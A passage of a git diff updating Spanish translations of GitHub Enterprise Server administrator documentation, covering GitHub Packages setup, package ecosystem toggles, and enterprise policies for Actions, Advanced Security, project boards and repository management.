+- Inicios de sesión del usuario, restablecimientos de contraseña, solicitudes 2FA, cambios en la configuración del correo electrónico y cambios en aplicaciones autorizadas y API
+- Acciones de administrador del sitio, como desbloquear cuentas de usuario y repositorios
+- Eventos push de repositorio, permisos de acceso, transferencias y renombres
+- Cambios de membresía de la organización, incluida la creación y la destrucción de equipo
 
-## Open source dependencies for {% data variables.product.prodname_ghe_server %}
+## Dependencias de código abierto para {% data variables.product.prodname_ghe_server %}
 
-You can see a complete list of dependencies in your appliance's version of {% data variables.product.prodname_ghe_server %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`.
+Puedes consultar una lista completa de dependencias en la versión de tu aparato de {% data variables.product.prodname_ghe_server %}, y la licencia de cada proyecto, en `http(s)://HOSTNAME/site/credits`.
 
-Tarballs with a full list of dependencies and associated metadata are available on your appliance:
-- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies-<GHE version>-base.tar.gz`
-- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies-<GHE version>-<platform>.tar.gz`
+Están disponibles en tu aparato los tarballes con una lista completa de dependencias y metadatos asociados:
+- Para conocer las dependencias comunes a todas las plataformas, ingresa en `/usr/local/share/enterprise/dependencies-<GHE version>-base.tar.gz`.
+- Para conocer las dependencias específicas de una plataforma, ingresa en `/usr/local/share/enterprise/dependencies-<GHE version>-<platform>.tar.gz`.
 
-Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases/<version>/download.html`.
+También están disponibles los tarballes, con una lista completa de las dependencias y los metadatos, en `https://enterprise.github.com/releases/<version>/download.html`.
 
-## Further reading
+## Leer más
 
-- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)"
-- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)"
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository
+- "[Configurar una prueba de {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)"
+- "[Configurar una instancia del {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)"
+- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) en el repositorio `github/roadmap`
diff --git a/translations/es-ES/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/es-ES/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
index e7fe0a9f22..9947c087e6 100644
--- a/translations/es-ES/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
@@ -23,7 +23,10 @@ Para prevenir que los paquetes nuevos se carguen, puedes configurar un ecosistem
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_site_admin_settings.packages-tab %}
-1. Debajo de "Alternación de ecosistema", para cada tipo de paquete, selecciona **Enabled**, **Read-Only**, o **Disabled**. ![Alternación de ecosistemas](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png)
+1. Debajo de "Alternación de ecosistema", para cada tipo de paquete, selecciona **Enabled**, **Read-Only**, o **Disabled**.
+{% ifversion ghes > 3.1 %}
+  ![Alternación de ecosistemas](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
+![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% ifversion ghes = 3.0 or ghes > 3.0 %}
@@ -41,6 +44,8 @@ Para permitir las conexiones al registro de npm, deberás configurar las ACLs de
 
 Nota que las conexiones a `registry.npmjs.com` atraviesan por la red de Cloudflare y, subsecuentemente, no se conectan a una IP estática única; en vez de esto, se hace una conexión a una dirección IP dentro de los rangos CIDR que se listan aquí: https://www.cloudflare.com/ips/.
 
+Si quieres habilitar las fuentes ascendentes de npm, selecciona `Enabled` para `npm upstreaming`.
+
 {% endif %}
 
 ## Pasos siguientes
diff --git a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
index f1d277e45e..0b39c1ab54 100644
--- a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Packages for your enterprise
-shortTitle: Getting started with GitHub Packages
-intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.'
+title: Iniciar con GitHub Packages para tu empresa
+shortTitle: Comenzar con los Paquetes de GitHub
+intro: 'Puedes comenzar a utilizar el {% data variables.product.prodname_registry %} en {% data variables.product.product_location %} si habilitas esta característica, configurando un almacenamiento de terceros, configurando los ecosistemas que quieras que sea compatibles y actualizando tu certificado TLS.'
 redirect_from:
   - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise
   - /admin/packages/enabling-github-packages-for-your-enterprise
@@ -16,31 +16,31 @@ topics:
 
 {% data reusables.package_registry.packages-cluster-support %}
 
-## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise
+## Paso 1: Verifica si el {% data variables.product.prodname_registry %} está disponible para tu empresa
 
-{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)."
-## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage
+El {% data variables.product.prodname_registry %} está disponible para {% data variables.product.prodname_ghe_server %} 3.0 o superior. Si estás utilizando una versión más antigua de {% data variables.product.prodname_ghe_server %}, tendrás que mejorarla para utilizar el {% data variables.product.prodname_registry %}. Para obtener más información sobre cómo mejorar tu instancia de {% data variables.product.prodname_ghe_server %}, consulta la sección "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)".
+## Paso 2: Habilita el {% data variables.product.prodname_registry %} y configura el almacenamiento externo
 
-{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages.
+{% data variables.product.prodname_registry %} en {% data variables.product.prodname_ghe_server %} utiliza almacenamiento externo de blobs para almacenar tus paquetes.
 
-After enabling {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider.
+Después de habilitar el {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, necesitarás preparar tu bucket de almacenamiento de terceros. La cantidad de almacenamiento que requieras dependerá de tu uso del {% data variables.product.prodname_registry %}, y los lineamientos de configuración podrán variar dependiendo del proveedor de almacenamiento.
 
-Supported external storage providers
+Proveedores de almacenamiento externo compatibles
 - Amazon Web Services (AWS) S3 {% ifversion ghes %}
 - Azure Blob Storage {% endif %}
 - MinIO
 
-To enable {% data variables.product.prodname_registry %} and configure third-party storage, see:
-  - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %}
-  - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %}
-  - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)"
+Para habilitar el {% data variables.product.prodname_registry %} y configurar el almacenamiento de terceros, consulta:
+  - "[Habilitar GitHub Packages con AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %}
+  - "[Habilitar GitHub Packages con Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %}
+  - "[Habilitar GitHub Packages con MinIO](/admin/packages/enabling-github-packages-with-minio)"
 
-## Step 3: Specify the package ecosystems to support on your instance
+## Paso 3: Especifica los ecosistemas de paquetes que serán compatibles con tu instancia
 
-Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet.  For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)."
+Elige qué ecosistemas de paquetes te gustaría habilitar, inhabilitar o configurar como de solo lectura en tu {% data variables.product.product_location %}. Las opciones disponibles son Docker, RubyGems, npm, Apache maven, Gradle o NuGet.  Para obtener más información, consulta la sección "[Configurar la compatibilidad de ecosistemas de paquetes para tu empresa](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)".
 
-## Step 4: Ensure you have a TLS certificate for your package host URL, if needed
+## Paso 4: De ser necesario, asegúrate de que tienes un certificado de TLS para la URL de hospedaje de tu paquete
 
-If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`.
+Si se habilitó el aislamiento de subdominios para {% data variables.product.product_location %}, necesitarás crear y cargar un certificado TLS que permita la URL del host de paquetes para cada ecosistema que quieras utilizar, tal como `npm.HOSTNAME`. Asegúrate de que cada URL de host de paquete incluya `https://`.
 
-  You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)."
+  Puedes crear el certificado manualmente, o puedes utilizar _Let's Encrypt_. Si ya utilizas _Let's Encrypt_, debes solicitar un certificado TLS nuevo después de habilitar el {% data variables.product.prodname_registry %}. Para obtener más información acerca de las URL del host de los paquetes, consulta "[Habilitar el aislamiento de subdominios](/enterprise/admin/configuration/enabling-subdomain-isolation)". Para obtener más información sobre cómo cargar certificados TLS a {% data variables.product.product_name %}, consulta la sección "[Configurar el TLS](/enterprise/admin/configuration/configuring-tls)".
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
index 889ee49ed7..e47a9a80ea 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Enforcing policies for Advanced Security in your enterprise
-intro: 'You can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Requerir políticas para la seguridad avanzada en tu empresa
+intro: 'Puedes requerir políticas para administrar las características de {% data variables.product.prodname_GH_advanced_security %} dentro de las organizaciones de tu empresa o permitir que se configuren las políticas en cada organización.'
 permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_GH_advanced_security %} in an enterprise.'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
@@ -19,16 +19,16 @@ redirect_from:
   - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise
   - /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account
-shortTitle: Advanced Security policies
+shortTitle: Políticas de seguridad avanzada
 ---
 
-## About policies for {% data variables.product.prodname_GH_advanced_security %} in your enterprise
+## Acerca de las políticas para la {% data variables.product.prodname_GH_advanced_security %} en tu empresa
 
-{% data reusables.advanced-security.ghas-helps-developers %} For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+{% data reusables.advanced-security.ghas-helps-developers %} Para obtener más información, consulta la sección "[Acerca de las {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)".
 
-{% ifversion ghes or ghec %}If you purchase a license for {% data variables.product.prodname_GH_advanced_security %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_advanced_security %} features. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_advanced_security %}.
+{% ifversion ghes or ghec %}Si compras una licencia para la {% data variables.product.prodname_GH_advanced_security %}, cualquier{% else %}Cualquier{% endif %} organización en {% data variables.product.product_location %} podrá utilizar las características de la {% data variables.product.prodname_advanced_security %}. Puedes requerir políticas que controlen cómo los miembros de tu empresa de {% data variables.product.product_name %} utilizan la {% data variables.product.prodname_advanced_security %}.
 
-## Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise
+## Requerir una política para utilizar la {% data variables.product.prodname_GH_advanced_security %} en tu empresa
 
 {% data reusables.advanced-security.about-ghas-organization-policy %}
 
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
index 68366b25d9..ee05d35cc0 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -2,9 +2,8 @@
 title: Enforcing policies for dependency insights in your enterprise
 intro: 'You can enforce policies for dependency insights within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
-  - /articles/enforcing-a-policy-on-dependency-insights/
+  - /articles/enforcing-a-policy-on-dependency-insights
   - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
index 246bc09758..269facebc1 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
@@ -29,19 +29,19 @@ shortTitle: GitHub Actions policies
 
 ## About policies for {% data variables.product.prodname_actions %} in your enterprise
 
-{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
+{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Entender las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)".
 
 {% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)."
 
 ## Enforcing a policy to restrict the use of actions in your enterprise
 
-You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise.
+Puedes elegir inhabilitar {% data variables.product.prodname_actions %} para todas las organizaciones en tu empresa, o puedes permitir solo organizaciones específicas. También puedes limitar el uso de acciones públicas para que las personas solo puedan utilizar las acciones locales que existen en tu empresa.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.actions.enterprise-actions-permissions %}
-1. Click **Save**.
+1. Haz clic en **Save ** (guardar).
 
 {% ifversion ghec or ghes or ghae %}
 
@@ -52,11 +52,11 @@ You can choose to disable {% data variables.product.prodname_actions %} for all
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. Debajo de **Políticas**, selecciona **Permitir las acciones seleccionadas** y agrega tus acciones requeridas a la lista.
    {%- ifversion ghes > 3.0 or ghae-issue-5094 %}
-   ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png)
    {%- elsif ghae %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png)
    {%- endif %}
 {% endif %}
 
@@ -64,7 +64,7 @@ You can choose to disable {% data variables.product.prodname_actions %} for all
 
 ## Enforcing a policy for artifact and log retention in your enterprise
 
-{% data variables.product.prodname_actions %} can store artifact and log files. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)."
+{% data variables.product.prodname_actions %} can store artifact and log files. Para obtener más información, consulta la sección "[Descargar artefactos de los flujos de trabajo ](/actions/managing-workflow-runs/downloading-workflow-artifacts)".
 
 {% data reusables.actions.about-artifact-log-retention %}
 
@@ -113,15 +113,14 @@ You can enforce policies to control how {% data variables.product.prodname_actio
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose the restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings.
+Puedes configurar los permisos predeterminados para del `GITHUB_TOKEN` en la configuración de tu empresa, organización o repositorio. Si eliges la opción restringida como lo predeterminado en la configuración de tu empresa, esto previene que puedas elegir más configuraciones permisivas en la configuración de tu organización o repositorio.
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
-1. Click **Save** to apply the settings.
+1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para esta empresa](/assets/images/help/settings/actions-workflow-permissions-enterprise.png)
+1. Da clic en **Guardar** para aplicar la configuración.
 
 {% endif %}
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
index 737721032e..848d68d68f 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -2,11 +2,10 @@
 title: Enforcing policies for security settings in your enterprise
 intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for security settings in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
-  - /articles/enforcing-security-settings-for-organizations-in-your-business-account/
-  - /articles/enforcing-security-settings-for-organizations-in-your-enterprise-account/
+  - /articles/enforcing-security-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-security-settings-for-organizations-in-your-enterprise-account
   - /articles/enforcing-security-settings-in-your-enterprise-account
   - /github/articles/managing-allowed-ip-addresses-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
index ab35104241..c14fc0b4a5 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
@@ -2,10 +2,9 @@
 title: Enforcing project board policies in your enterprise
 intro: 'You can enforce policies for projects within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for project boards in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
-  - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account/
-  - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account/
+  - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
   - /articles/enforcing-project-board-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/enforcing-project-board-policies-in-your-enterprise-account
@@ -24,26 +23,24 @@ shortTitle: Project board policies
 
 ## About policies for project boards in your enterprise
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
 
-## Enforcing a policy for organization-wide project boards
+## Hacer cumplir una política para tableros de proyecto en toda la organización
 
-Across all organizations owned by your enterprise, you can enable or disable organization-wide project boards, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que son propiedad de tu empresa, puedes habilitar o inhabilitar tableros de proyecto en toda la organización o permitir que los propietarios administren este parámetro a nivel de la organización.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization project board policy options](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
+4. En "Proyectos de la organización", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. En "Proyectos de la organización", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de tableros de proyecto de la organización](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
 
-## Enforcing a policy for repository project boards
+## Hacer cumplir una política para tableros de proyecto de repositorios
 
-Across all organizations owned by your enterprise, you can enable or disable repository-level project boards, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que pertenezcan a tu empresa, puedes habilitar o inhabilitar tableros de proyecto a nivel de los repositorios o permitir que los propietarios administren este parámetro a nivel de la organización.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.projects-tab %}
-4. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Repository projects", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository project board policy options](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
+4. En "Proyectos de repositorios", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. En "Proyectos de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de tableros de proyecto de repositorios](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png)
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
index 68e7fb8975..ce33e6b011 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing repository management policies in your enterprise
-intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Requerir políticas de administración de repositorios en tu empresa
+intro: Puedes requerir políticas para la administración de repositorios dentro de las organizaciones de tu empresa o permitir que se configuren políticas en cada organización.
 permissions: Enterprise owners can enforce policies for repository management in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
   - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
@@ -10,26 +9,26 @@ redirect_from:
   - /enterprise/admin/user-management/restricting-repository-creation-in-your-instance
   - /enterprise/admin/user-management/preventing-users-from-deleting-organization-repositories
   - /enterprise/admin/installation/setting-git-push-limits
-  - /enterprise/admin/guides/installation/git-server-settings/
-  - /enterprise/admin/articles/setting-git-push-limits/
+  - /enterprise/admin/guides/installation/git-server-settings
+  - /enterprise/admin/articles/setting-git-push-limits
   - /enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories
   - /enterprise/admin/installation/disabling-the-merge-conflict-editor-for-pull-requests-between-repositories
   - /enterprise/admin/developer-workflow/blocking-force-pushes-on-your-appliance
   - /enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization
   - /enterprise/admin/developer-workflow/blocking-force-pushes-to-a-repository
-  - /enterprise/admin/articles/blocking-force-pushes-on-your-appliance/
-  - /enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access-to-a-repository/
+  - /enterprise/admin/articles/blocking-force-pushes-on-your-appliance
+  - /enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access-to-a-repository
   - /enterprise/admin/user-management/preventing-users-from-changing-anonymous-git-read-access
-  - /enterprise/admin/articles/blocking-force-pushes-to-a-repository/
-  - /enterprise/admin/articles/block-force-pushes/
-  - /enterprise/admin/articles/blocking-force-pushes-for-a-user-account/
-  - /enterprise/admin/articles/blocking-force-pushes-for-an-organization/
-  - /enterprise/admin/articles/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization/
+  - /enterprise/admin/articles/blocking-force-pushes-to-a-repository
+  - /enterprise/admin/articles/block-force-pushes
+  - /enterprise/admin/articles/blocking-force-pushes-for-a-user-account
+  - /enterprise/admin/articles/blocking-force-pushes-for-an-organization
+  - /enterprise/admin/articles/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization
   - /enterprise/admin/developer-workflow/blocking-force-pushes
   - /enterprise/admin/policies/enforcing-repository-management-policies-in-your-enterprise
   - /admin/policies/enforcing-repository-management-policies-in-your-enterprise
-  - /articles/enforcing-repository-management-settings-for-organizations-in-your-business-account/
-  - /articles/enforcing-repository-management-policies-for-organizations-in-your-enterprise-account/
+  - /articles/enforcing-repository-management-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-repository-management-policies-for-organizations-in-your-enterprise-account
   - /articles/enforcing-repository-management-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/enforcing-repository-management-policies-in-your-enterprise-account
@@ -44,20 +43,20 @@ topics:
   - Policies
   - Repositories
   - Security
-shortTitle: Repository management policies
+shortTitle: Políticas de administración de repositorio
 ---
 
-## About policies for repository management in your enterprise
+## Acerca de las políticas para la administración de repositorios en tu empresa
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)."
